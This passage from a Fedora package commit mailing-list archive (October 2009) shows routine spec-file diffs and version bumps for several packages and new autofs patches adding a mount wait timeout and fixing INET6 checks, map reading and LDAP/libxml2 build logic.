 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:  noarch
 BuildRequires:  ibus-devel > 1.2
@@ -24,6 +26,7 @@ This package contains additional tables.
 
 %prep
 %setup -q
+%patch0 -p1 -b .1-parse_eq_sign
 
 %build
 %configure --disable-static --enable-additional
@@ -104,6 +107,9 @@ ibus-table-createdb -i -n %{_datadir}/ib
 %{_datadir}/%{name}/icons/latex.svg
 
 %changelog
+* Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090912-2.fc11
+- IBus #564 - Fixed parsing equal sign.
+
 * Wed Sep 30 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090912-1.fc11
 - Rebuilt with IBus 1.2.
 



From whot at fedoraproject.org  Tue Oct  6 04:24:42 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Tue,  6 Oct 2009 04:24:42 +0000 (UTC)
Subject: rpms/libX11/devel .cvsignore, 1.17, 1.18 libX11.spec, 1.66,
	1.67 sources, 1.16, 1.17
Message-ID: <20091006042442.9BD3F11C00C1@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/libX11/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19338

Modified Files:
	.cvsignore libX11.spec sources 
Log Message:
* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.3-1
- libX11 1.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libX11/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	5 Aug 2009 22:56:35 -0000	1.17
+++ .cvsignore	6 Oct 2009 04:24:42 -0000	1.18
@@ -1 +1 @@
-libX11-20090805.tar.bz2
+libX11-1.3.tar.bz2


Index: libX11.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libX11/devel/libX11.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- libX11.spec	13 Aug 2009 06:30:09 -0000	1.66
+++ libX11.spec	6 Oct 2009 04:24:42 -0000	1.67
@@ -1,19 +1,19 @@
 %define tarball libX11
-%define gitdate 20090805
+#define gitdate 20090805
 
 Summary: Core X11 protocol client library
 Name: libX11
-Version: 1.2.99
-Release: 5.%{gitdate}%{?dist}
+Version: 1.3
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-#Source0: http://xorg.freedesktop.org/archive/individual/lib/%{name}-%{version}.tar.bz2
+Source0: http://xorg.freedesktop.org/archive/individual/lib/%{name}-%{version}.tar.bz2
 #Source0: http://cgit.freedesktop.org/xorg/lib/libX11/snapshot/libX11-%{version}.tar.bz2 
-Source0:    %{tarball}-%{gitdate}.tar.bz2
-Source1:    make-git-snapshot.sh
+#Source0:    %{tarball}-%{gitdate}.tar.bz2
+#Source1:    make-git-snapshot.sh
 
 Patch2: dont-forward-keycode-0.patch
 
@@ -50,8 +50,8 @@ Requires: pkgconfig
 X.Org X11 libX11 development package
 
 %prep
-#%setup -q
-%setup -q -n %{tarball}-%{gitdate}
+%setup -q
+#setup -q -n %{tarball}-%{gitdate}
 %patch2 -p1 -b .dont-forward-keycode-0
 
 %build
@@ -116,6 +116,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.3-1
+- libX11 1.3
+
 * Thu Aug 13 2009 Parag <paragn at fedoraproject.org> 1.2.99-5.20090805
 - Merge-review cleanups #226062
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libX11/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	5 Aug 2009 22:56:36 -0000	1.16
+++ sources	6 Oct 2009 04:24:42 -0000	1.17
@@ -1 +1 @@
-f45b5af929e4366a3f1466e390add673  libX11-20090805.tar.bz2
+0545089013213e90aac19b8f8045d32e  libX11-1.3.tar.bz2



From mclasen at fedoraproject.org  Tue Oct  6 04:25:00 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue,  6 Oct 2009 04:25:00 +0000 (UTC)
Subject: rpms/control-center/F-12 about-me-delete.patch, NONE,
	1.1 control-center.spec, 1.496, 1.497
Message-ID: <20091006042500.3B9E411C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/control-center/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19355

Modified Files:
	control-center.spec 
Added Files:
	about-me-delete.patch 
Log Message:
fix a crash in the about-me capplet


about-me-delete.patch:
 gnome-about-me.c |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

--- NEW FILE about-me-delete.patch ---
diff -up gnome-control-center-2.28.0/capplets/about-me/gnome-about-me.c.about-me-delete gnome-control-center-2.28.0/capplets/about-me/gnome-about-me.c
--- gnome-control-center-2.28.0/capplets/about-me/gnome-about-me.c.about-me-delete	2009-08-17 04:40:16.000000000 -0400
+++ gnome-control-center-2.28.0/capplets/about-me/gnome-about-me.c	2009-10-06 00:18:40.622398272 -0400
@@ -72,6 +71,7 @@ typedef struct {
 	gchar 		*username;
 
 	guint	      	 commit_timeout_id;
+	gboolean	 destroyed;
 } GnomeAboutMe;
 
 static GnomeAboutMe *me = NULL;
@@ -183,7 +183,8 @@ about_me_destroy (GnomeAboutMe *me)
 	g_free (me->person);
 	g_free (me->login);
 	g_free (me->username);
-	g_free (me);
+
+	me->destroyed = TRUE;
 }
 
 static void
@@ -275,6 +276,9 @@ about_me_focus_out (GtkWidget *widget, G
 	const gchar *wid;
 	gint i;
 
+	if (me->destroyed)
+		return FALSE;
+
 	wid = gtk_widget_get_name (widget);
 
 	if (wid == NULL)


Index: control-center.spec
===================================================================
RCS file: /cvs/pkgs/rpms/control-center/F-12/control-center.spec,v
retrieving revision 1.496
retrieving revision 1.497
diff -u -p -r1.496 -r1.497
--- control-center.spec	3 Oct 2009 02:23:53 -0000	1.496
+++ control-center.spec	6 Oct 2009 04:25:00 -0000	1.497
@@ -24,7 +24,7 @@
 Summary: Utilities to configure the GNOME desktop
 Name: control-center
 Version: 2.28.0
-Release: 14%{?dist}
+Release: 15%{?dist}
 Epoch: 1
 License: GPLv2+ and GFDL
 Group: User Interface/Desktops
@@ -67,6 +67,9 @@ Patch52: shell-markup.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=596939
 Patch53: keybinding-bugs.patch
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=592348
+Patch54: about-me-delete.patch
+
 # call the Fedora/RHEL graphical passwd changing apps
 Patch95: gnome-control-center-2.25.2-passwd.patch
 Patch96: gnome-control-center-2.25.2-gecos.patch
@@ -204,6 +207,7 @@ for the GNOME desktop.
 %patch51 -p1 -b .mirror-crash
 %patch52 -p1 -b .shell-markup
 %patch53 -p1 -b .keybinding-bugs
+%patch54 -p1 -b .about-me-delete
 
 # vendor configuration patches
 %patch95 -p1 -b .passwd
@@ -394,6 +398,9 @@ fi
 
 
 %changelog
+* Tue Oct  6 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-15
+- Fix a crash in the about-me capplet (#525590)
+
 * Fri Oct  2 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-14
 - Fix some logic errors in the keybinding capplet that can lead
   to missing entries



From cchance at fedoraproject.org  Tue Oct  6 04:34:59 2009
From: cchance at fedoraproject.org (cchance)
Date: Tue,  6 Oct 2009 04:34:59 +0000 (UTC)
Subject: rpms/ibus-table-wubi/F-11 .cvsignore, 1.2, 1.3 ibus-table-wubi.spec,
	1.10, 1.11 sources, 1.2, 1.3
Message-ID: <20091006043459.C802B11C00C1@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table-wubi/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20647

Modified Files:
	.cvsignore ibus-table-wubi.spec sources 
Log Message:
* Tue Oct 06 2009 Caius kaio Chance <k AT kaio.me> - 1.2.0.20090715-4.fc11
- Rebuilt.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-wubi/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	2 Apr 2009 00:12:05 -0000	1.2
+++ .cvsignore	6 Oct 2009 04:34:59 -0000	1.3
@@ -1 +1 @@
-ibus-table-wubi-1.1.0.20090327.tar.gz
+ibus-table-wubi-1.2.0.20090715.tar.gz


Index: ibus-table-wubi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-wubi/F-11/ibus-table-wubi.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- ibus-table-wubi.spec	6 Oct 2009 04:10:32 -0000	1.10
+++ ibus-table-wubi.spec	6 Oct 2009 04:34:59 -0000	1.11
@@ -1,6 +1,6 @@
 Name:       ibus-table-wubi
 Version:    1.2.0.20090715
-Release:    3%{?dist}
+Release:    4%{?dist}
 Summary:    Wubi table(s) for ibus-table
 License:    GPLv3+
 Group:      System Environment/Libraries
@@ -47,6 +47,9 @@ cd %{_datadir}/ibus-table/tables/
 %{_datadir}/ibus-table/icons/wubi86.svg
 
 %changelog
+* Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090715-4.fc11
+- Rebuilt.
+
 * Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090715-3.fc11
 - Rebuilt.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-wubi/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 Apr 2009 00:12:05 -0000	1.2
+++ sources	6 Oct 2009 04:34:59 -0000	1.3
@@ -1 +1 @@
-8aa15f5b6d1b12068b22ff5e9639a277  ibus-table-wubi-1.1.0.20090327.tar.gz
+b4440534079227ebb3958576cebce1e7  ibus-table-wubi-1.2.0.20090715.tar.gz



From tagoh at fedoraproject.org  Tue Oct  6 04:57:03 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Tue,  6 Oct 2009 04:57:03 +0000 (UTC)
Subject: rpms/sazanami-fonts/devel sources,1.2,1.3
Message-ID: <20091006045703.6003111C00C1@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/sazanami-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23951

Modified Files:
	sources 
Log Message:



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sazanami-fonts/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	27 Aug 2007 03:42:29 -0000	1.2
+++ sources	6 Oct 2009 04:57:02 -0000	1.3
@@ -1 +1 @@
-b312f77829011547b19fc16956dc6f12  sazanami-20061016.tar.bz2
+ceef10579a75c92483171f3bd7f77df2  sazanami-20040629.tar.bz2



From tagoh at fedoraproject.org  Tue Oct  6 04:57:46 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Tue,  6 Oct 2009 04:57:46 +0000 (UTC)
Subject: rpms/sazanami-fonts/devel .cvsignore,1.2,1.3
Message-ID: <20091006045746.F3FA411C00C1@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/sazanami-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24084

Modified Files:
	.cvsignore 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sazanami-fonts/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	27 Aug 2007 03:42:29 -0000	1.2
+++ .cvsignore	6 Oct 2009 04:57:46 -0000	1.3
@@ -1 +1,2 @@
 sazanami-20061016.tar.bz2
+sazanami-20040629.tar.bz2



From lmacken at fedoraproject.org  Tue Oct  6 05:03:22 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Tue,  6 Oct 2009 05:03:22 +0000 (UTC)
Subject: rpms/python-nose/EL-5 .cvsignore, 1.7, 1.8 python-nose.spec, 1.8,
	1.9 sources, 1.7, 1.8
Message-ID: <20091006050322.9983D11C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-nose/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24808

Modified Files:
	.cvsignore python-nose.spec sources 
Log Message:
Update to 0.10.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-nose/EL-5/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	23 Oct 2008 20:18:34 -0000	1.7
+++ .cvsignore	6 Oct 2009 05:03:22 -0000	1.8
@@ -1 +1 @@
-nose-0.10.3.tar.gz
+nose-0.10.4.tar.gz


Index: python-nose.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-nose/EL-5/python-nose.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- python-nose.spec	23 Oct 2008 20:18:34 -0000	1.8
+++ python-nose.spec	6 Oct 2009 05:03:22 -0000	1.9
@@ -2,7 +2,7 @@
 %{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
 
 Name:           python-nose
-Version:        0.10.3
+Version:        0.10.4
 Release:        1%{?dist}
 Summary:        A discovery-based unittest extension for Python
 
@@ -47,6 +47,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/nose
 
 %changelog
+* Mon Oct 05 2009 Luke Macken <lmacken at redhat.com> 0.10.4-1
+- Update to 0.10.4
+
 * Sat Aug 02 2008 Luke Macken <lmacken at redhat.com> 0.10.3-1
 - Update to 0.10.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-nose/EL-5/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	23 Oct 2008 20:18:34 -0000	1.7
+++ sources	6 Oct 2009 05:03:22 -0000	1.8
@@ -1 +1 @@
-f9f6de986f0fc4d98b488af8243d679a  nose-0.10.3.tar.gz
+4b4aec226d03f1d8465336a88d7183c4  nose-0.10.4.tar.gz



From iankent at fedoraproject.org  Tue Oct  6 05:23:15 2009
From: iankent at fedoraproject.org (Ian Kent)
Date: Tue,  6 Oct 2009 05:23:15 +0000 (UTC)
Subject: rpms/autofs/devel autofs-5.0.4-add-mount-wait-parameter.patch, NONE,
	1.1 autofs-5.0.5-fix-backwards-ifndef-INET6.patch, NONE,
	1.1 autofs-5.0.5-fix-included-map-read-fail-handling.patch, NONE,
	1.1 autofs-5.0.5-fix-libxml2-workaround-configure.patch, NONE,
	1.1 autofs-5.0.5-more-code-analysis-corrections.patch, NONE,
	1.1 autofs-5.0.5-refactor-ldap-sasl-bind.patch, NONE,
	1.1 autofs-5.0.5-special-case-cifs-escapes.patch, NONE,
	1.1 autofs.spec, 1.288, 1.289
Message-ID: <20091006052315.AFE4A11C00C1@cvs1.fedora.phx.redhat.com>

Author: iankent

Update of /cvs/pkgs/rpms/autofs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27767

Modified Files:
	autofs.spec 
Added Files:
	autofs-5.0.4-add-mount-wait-parameter.patch 
	autofs-5.0.5-fix-backwards-ifndef-INET6.patch 
	autofs-5.0.5-fix-included-map-read-fail-handling.patch 
	autofs-5.0.5-fix-libxml2-workaround-configure.patch 
	autofs-5.0.5-more-code-analysis-corrections.patch 
	autofs-5.0.5-refactor-ldap-sasl-bind.patch 
	autofs-5.0.5-special-case-cifs-escapes.patch 
Log Message:
* Tue Oct 6 2009 Ian Kent <kent at redhat.com> - 1:5.0.5-2
- fix included map read fail handling.
- refactor ldap sasl authentication bind to eliminate extra connect
  causing some servers to reject the request.
- add mount wait parameter to allow timeout of mount requests to
  unresponsive servers.
- special case cifs escape handling.
- fix libxml2 workaround configure.
- more code analysis corrections (and fix a typo in an init script).
- fix backwards #ifndef INET6.


autofs-5.0.4-add-mount-wait-parameter.patch:
 CHANGELOG                      |    1 +
 daemon/spawn.c                 |    3 ++-
 include/defaults.h             |    2 ++
 lib/defaults.c                 |   13 +++++++++++++
 man/auto.master.5.in           |    7 +++++++
 redhat/autofs.sysconfig.in     |    9 +++++++++
 samples/autofs.conf.default.in |    9 +++++++++
 7 files changed, 43 insertions(+), 1 deletion(-)

--- NEW FILE autofs-5.0.4-add-mount-wait-parameter.patch ---
autofs-5.0.4 - add mount wait parameter

From: Ian Kent <raven at themaw.net>

Often delays when trying to mount from a server that is not reponding
for some reason are undesirable. To try and prevent these delays we
provide a configuration setting to limit the time that we wait for
our spawned mount(8) process to complete before sending it a SIGTERM
signal. This patch adds a configuration parameter to allow us to
request we limit the time we wait for mount(8) to complete before
send it a TERM signal.
---

 CHANGELOG                      |    1 +
 daemon/spawn.c                 |    3 ++-
 include/defaults.h             |    2 ++
 lib/defaults.c                 |   13 +++++++++++++
 man/auto.master.5.in           |    7 +++++++
 redhat/autofs.sysconfig.in     |    9 +++++++++
 samples/autofs.conf.default.in |    9 +++++++++
 7 files changed, 43 insertions(+), 1 deletions(-)


diff --git a/CHANGELOG b/CHANGELOG
index 5adcca5..fadb229 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -2,6 +2,7 @@
 -----------------------
 - fix included map read fail handling.
 - refactor ldap sasl bind handling.
+- add mount wait timeout parameter.
 
 03/09/2009 autofs-5.0.5
 -----------------------
diff --git a/daemon/spawn.c b/daemon/spawn.c
index e02d926..db356d4 100644
--- a/daemon/spawn.c
+++ b/daemon/spawn.c
@@ -305,6 +305,7 @@ int spawn_mount(unsigned logopt, ...)
 	unsigned int options;
 	unsigned int retries = MTAB_LOCK_RETRIES;
 	int update_mtab = 1, ret, printed = 0;
+	unsigned int wait = defaults_get_mount_wait();
 	char buf[PATH_MAX];
 
 	/* If we use mount locking we can't validate the location */
@@ -355,7 +356,7 @@ int spawn_mount(unsigned logopt, ...)
 	va_end(arg);
 
 	while (retries--) {
-		ret = do_spawn(logopt, -1, options, prog, (const char **) argv);
+		ret = do_spawn(logopt, wait, options, prog, (const char **) argv);
 		if (ret & MTAB_NOTUPDATED) {
 			struct timespec tm = {3, 0};
 
diff --git a/include/defaults.h b/include/defaults.h
index 9bf16e5..cda2174 100644
--- a/include/defaults.h
+++ b/include/defaults.h
@@ -24,6 +24,7 @@
 
 #define DEFAULT_TIMEOUT			600
 #define DEFAULT_NEGATIVE_TIMEOUT	60
+#define DEFAULT_MOUNT_WAIT		-1
 #define DEFAULT_UMOUNT_WAIT		12
 #define DEFAULT_BROWSE_MODE		1
 #define DEFAULT_LOGGING			0
@@ -64,6 +65,7 @@ struct ldap_searchdn *defaults_get_searchdns(void);
 void defaults_free_searchdns(struct ldap_searchdn *);
 unsigned int defaults_get_mount_nfs_default_proto(void);
 unsigned int defaults_get_append_options(void);
+unsigned int defaults_get_mount_wait(void);
 unsigned int defaults_get_umount_wait(void);
 const char *defaults_get_auth_conf_file(void);
 unsigned int defaults_get_map_hash_table_size(void);
diff --git a/lib/defaults.c b/lib/defaults.c
index 17164bd..2204b18 100644
--- a/lib/defaults.c
+++ b/lib/defaults.c
@@ -47,6 +47,7 @@
 
 #define ENV_MOUNT_NFS_DEFAULT_PROTOCOL	"MOUNT_NFS_DEFAULT_PROTOCOL"
 #define ENV_APPEND_OPTIONS		"APPEND_OPTIONS"
+#define ENV_MOUNT_WAIT			"MOUNT_WAIT"
 #define ENV_UMOUNT_WAIT			"UMOUNT_WAIT"
 #define ENV_AUTH_CONF_FILE		"AUTH_CONF_FILE"
 
@@ -325,6 +326,7 @@ unsigned int defaults_read_config(unsigned int to_syslog)
 		    check_set_config_value(key, ENV_NAME_ENTRY_ATTR, value, to_syslog) ||
 		    check_set_config_value(key, ENV_NAME_VALUE_ATTR, value, to_syslog) ||
 		    check_set_config_value(key, ENV_APPEND_OPTIONS, value, to_syslog) ||
+		    check_set_config_value(key, ENV_MOUNT_WAIT, value, to_syslog) ||
 		    check_set_config_value(key, ENV_UMOUNT_WAIT, value, to_syslog) ||
 		    check_set_config_value(key, ENV_AUTH_CONF_FILE, value, to_syslog) ||
 		    check_set_config_value(key, ENV_MAP_HASH_TABLE_SIZE, value, to_syslog) ||
@@ -667,6 +669,17 @@ unsigned int defaults_get_append_options(void)
 	return res;
 }
 
+unsigned int defaults_get_mount_wait(void)
+{
+	long wait;
+
+	wait = get_env_number(ENV_MOUNT_WAIT);
+	if (wait < 0)
+		wait = DEFAULT_MOUNT_WAIT;
+
+	return (unsigned int) wait;
+}
+
 unsigned int defaults_get_umount_wait(void)
 {
 	long wait;
diff --git a/man/auto.master.5.in b/man/auto.master.5.in
index 71c4402..792035f 100644
--- a/man/auto.master.5.in
+++ b/man/auto.master.5.in
@@ -174,6 +174,13 @@ Set the default timeout for caching failed key lookups (program default
 60). If the equivalent command line option is given it will override this
 setting.
 .TP
+.B MOUNT_WAIT
+Set the default time to wait for a response from a spawned mount(8)
+before sending it a SIGTERM. Note that we still need to wait for the
+RPC layer to timeout before the sub-process exits so this isn't ideal
+but it is the best we can do. The default is to wait until mount(8)
+returns without intervention.
+.TP
 .B UMOUNT_WAIT
 Set the default time to wait for a response from a spawned umount(8)
 before sending it a SIGTERM. Note that we still need to wait for the
diff --git a/redhat/autofs.sysconfig.in b/redhat/autofs.sysconfig.in
index 37448ea..c72cd2b 100644
--- a/redhat/autofs.sysconfig.in
+++ b/redhat/autofs.sysconfig.in
@@ -14,6 +14,15 @@ TIMEOUT=300
 #
 #NEGATIVE_TIMEOUT=60
 #
+# MOUNT_WAIT - time to wait for a response from umount(8).
+# 	       Setting this timeout can cause problems when
+# 	       mount would otherwise wait for a server that
+# 	       is temporarily unavailable, such as when it's
+# 	       restarting. The defailt of waiting for mount(8)
+# 	       usually results in a wait of around 3 minutes.
+#
+#MOUNT_WAIT=-1
+#
 # UMOUNT_WAIT - time to wait for a response from umount(8).
 #
 #UMOUNT_WAIT=12
diff --git a/samples/autofs.conf.default.in b/samples/autofs.conf.default.in
index 7dee5fd..b87c4d0 100644
--- a/samples/autofs.conf.default.in
+++ b/samples/autofs.conf.default.in
@@ -14,6 +14,15 @@ TIMEOUT=300
 #
 #NEGATIVE_TIMEOUT=60
 #
+# MOUNT_WAIT - time to wait for a response from umount(8).
+# 	       Setting this timeout can cause problems when
+# 	       mount would otherwise wait for a server that
+# 	       is temporarily unavailable, such as when it's
+# 	       restarting. The defailt of waiting for mount(8)
+# 	       usually results in a wait of around 3 minutes.
+#
+#MOUNT_WAIT=-1
+#
 # UMOUNT_WAIT - time to wait for a response from umount(8).
 #
 #UMOUNT_WAIT=12

autofs-5.0.5-fix-backwards-ifndef-INET6.patch:
 CHANGELOG            |    1 +
 modules/replicated.c |    4 ++--
 2 files changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE autofs-5.0.5-fix-backwards-ifndef-INET6.patch ---
autofs-5.0.5 - fix backwards #ifndef INET6

From: Jeff Moyer <jmoyer at redhat.com>

Fix reversed macro checks for INET6 in get_proximity().

Signed-off-by: Jeff Moyer <jmoyer at redhat.com>
---

 CHANGELOG            |    1 +
 modules/replicated.c |    4 ++--
 2 files changed, 3 insertions(+), 2 deletions(-)


diff --git a/CHANGELOG b/CHANGELOG
index b9b1602..7997d1d 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -6,6 +6,7 @@
 - special case cifs escapes.
 - fix compile fail with when LDAP is excluded.
 - more code analysis corrections (and fix a typo in an init script).
+- fix backwards #ifndef INET6.
 
 03/09/2009 autofs-5.0.5
 -----------------------
diff --git a/modules/replicated.c b/modules/replicated.c
index a66de9f..4cd3eb4 100644
--- a/modules/replicated.c
+++ b/modules/replicated.c
@@ -231,7 +231,7 @@ static unsigned int get_proximity(struct sockaddr *host_addr)
 			break;
 
 		case AF_INET6:
-#ifndef INET6
+#ifdef INET6
 			if (host_addr->sa_family == AF_INET)
 				break;
 
@@ -313,7 +313,7 @@ static unsigned int get_proximity(struct sockaddr *host_addr)
 			break;
 
 		case AF_INET6:
-#ifndef INET6
+#ifdef INET6
 			if (host_addr->sa_family == AF_INET)
 				break;
 

autofs-5.0.5-fix-included-map-read-fail-handling.patch:
 CHANGELOG             |    4 ++++
 modules/lookup_file.c |    7 -------
 2 files changed, 4 insertions(+), 7 deletions(-)

--- NEW FILE autofs-5.0.5-fix-included-map-read-fail-handling.patch ---
autofs-5.0.5 - fix included map read fail handling

From: Ian Kent <raven at themaw.net>

If an included map read fails an error is returned and subsequent
master map entries are not read. We should report the failure but
we shouldn't stop reading the master map.
---

 CHANGELOG             |    4 ++++
 modules/lookup_file.c |    7 -------
 2 files changed, 4 insertions(+), 7 deletions(-)


diff --git a/CHANGELOG b/CHANGELOG
index e734cb3..674a48b 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,3 +1,7 @@
+??/??/20?? autofs-5.0.6
+-----------------------
+- fix included map read fail handling.
+
 03/09/2009 autofs-5.0.5
 -----------------------
 - fix dumb libxml2 check
diff --git a/modules/lookup_file.c b/modules/lookup_file.c
index a4ca39d..e43ab2f 100644
--- a/modules/lookup_file.c
+++ b/modules/lookup_file.c
@@ -438,13 +438,6 @@ int lookup_read_master(struct master *master, time_t age, void *context)
 				     MODPREFIX
 				     "failed to read included master map %s",
 				     master->name);
-				if (!master->recurse) {
-					master->name = save_name;
-					master->depth--;
-					master->recurse = 0;
-					fclose(f);
-					return NSS_STATUS_UNAVAIL;
-				}
 			}
 			master->depth--;
 			master->recurse = 0;

autofs-5.0.5-fix-libxml2-workaround-configure.patch:
 CHANGELOG          |    1 +
 daemon/Makefile    |    2 --
 daemon/automount.c |    8 +++++---
 3 files changed, 6 insertions(+), 5 deletions(-)

--- NEW FILE autofs-5.0.5-fix-libxml2-workaround-configure.patch ---
autofs-5.0.5 - fix libxml2 workaround configure

From: Ian Kent <raven at themaw.net>

The configure logic related to work around the libxml2 library
reload issues is not quite right. The xml code is needed if
ldap is used so it is sufficient to require inclusion of the
workaround code if autofs is being built with LDAP support.
---

 CHANGELOG          |    1 +
 daemon/Makefile    |    2 --
 daemon/automount.c |    8 +++++---
 3 files changed, 6 insertions(+), 5 deletions(-)


diff --git a/CHANGELOG b/CHANGELOG
index 671c979..23351c8 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -4,6 +4,7 @@
 - refactor ldap sasl bind handling.
 - add mount wait timeout parameter.
 - special case cifs escapes.
+- fix compile fail with when LDAP is excluded.
 
 03/09/2009 autofs-5.0.5
 -----------------------
diff --git a/daemon/Makefile b/daemon/Makefile
index 371ec72..9e9d635 100644
--- a/daemon/Makefile
+++ b/daemon/Makefile
@@ -23,10 +23,8 @@ LDFLAGS += -rdynamic
 LIBS = -ldl
 
 ifeq ($(LDAP), 1)
-  ifeq ($(SASL), 1)
     CFLAGS += $(XML_FLAGS)
     LIBS += $(XML_LIBS)
-  endif
 endif
 
 all: automount
diff --git a/daemon/automount.c b/daemon/automount.c
index 979ecd6..7c44d4b 100644
--- a/daemon/automount.c
+++ b/daemon/automount.c
@@ -38,10 +38,12 @@
 #include <sys/utsname.h>
 
 #include "automount.h"
-#ifdef LIBXML2_WORKAROUND
+#if defined(LIBXML2_WORKAROUND) || defined(TIRPC_WORKAROUND)
 #include <dlfcn.h>
+#ifdef WITH_LDAP
 #include <libxml/parser.h>
 #endif
+#endif
 
 const char *program;		/* Initialized with argv[0] */
 const char *version = VERSION_STRING;	/* Program version */
@@ -2110,7 +2112,7 @@ int main(int argc, char *argv[])
 		exit(1);
 	}
 
-#ifdef LIBXML2_WORKAROUND
+#if defined(WITH_LDAP) && defined(LIBXML2_WORKAROUND)
 	void *dh_xml2 = dlopen("libxml2.so", RTLD_NOW);
 	if (!dh_xml2)
 		dh_xml2 = dlopen("libxml2.so.2", RTLD_NOW);
@@ -2158,7 +2160,7 @@ int main(int argc, char *argv[])
 	if (dh_tirpc)
 		dlclose(dh_tirpc);
 #endif
-#ifdef LIBXML2_WORKAROUND
+#if defined(WITH_LDAP) && defined( LIBXML2_WORKAROUND)
 	if (dh_xml2) {
 		xmlCleanupParser();
 		dlclose(dh_xml2);

autofs-5.0.5-more-code-analysis-corrections.patch:
 CHANGELOG              |    1 +
 daemon/direct.c        |    2 +-
 daemon/state.c         |    5 +++--
 lib/alarm.c            |    3 ++-
 lib/defaults.c         |    1 -
 lib/master.c           |    6 +-----
 modules/cyrus-sasl.c   |    2 +-
 modules/lookup_ldap.c  |   13 +++++++++++--
 modules/mount_autofs.c |    2 +-
 modules/parse_sun.c    |    3 +--
 redhat/autofs.init.in  |    2 +-
 11 files changed, 23 insertions(+), 17 deletions(-)

--- NEW FILE autofs-5.0.5-more-code-analysis-corrections.patch ---
autofs-5.0.5 - more code analysis corrections (and fix a typo in an init script)

From: Jeff Moyer <jmoyer at redhat.com>

- fix an obvious type in Redhat init script.
- don't call ldap_msgfree when result pointer is null.
- check return of ldap_parse_result as pointers will be invalid on fail.
- get rid of a bogus assignment in defaults_free_searchdns.
- get rid of unused optlen variable in parse_sun.c.
- check return status of stat(2) in do_mount_direct().
- get rid of unused name variable in master_add_map_source().
- check return from ops->askumount() in expire_cleanup().
- in mount_autofs.c:mount_mount(), don't increment val since we never
  look at it again.
- in autofs_sasl_dispose() ctxt must always be valid or we would have
  a much bigger problem.
- in st_start_handler() and alarm_start_handler() it is possible for
